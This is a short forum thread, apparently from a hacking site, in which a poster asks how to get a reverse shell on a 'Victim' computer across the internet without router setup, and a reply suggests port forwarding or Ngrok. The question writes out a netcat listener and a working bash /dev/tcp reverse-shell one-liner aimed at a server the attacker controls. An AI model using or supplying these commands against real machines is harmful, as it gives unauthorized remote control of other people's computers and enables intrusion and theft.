Forum Thread: How Can I Make a Reverse Shell Not Need to Be on LAN?

Could I

1.
buy / get a free server address.
2.
SSH into the server.
3.
run 'nc -l 1337'.
4.
Get a different computer (Victim) to run 'bash -i >& /dev/tcp/MyNewSeversIP/1337 0>&1'
5.
Have access to the computer without needing to configure my router.

If so, how would I do it?

Our Best Hacking & Security Guides

New Null Byte posts — delivered straight to your inbox.

1 Response

I'm not sure if your example will work but here is a solution. Use your public IP address for your payload Lhost. Then port forward your local IP address in your router. If you can't port forward, I've heard of (but I've personally never used) Ngrok might work.

Share Your Thoughts

  • Hot
  • Active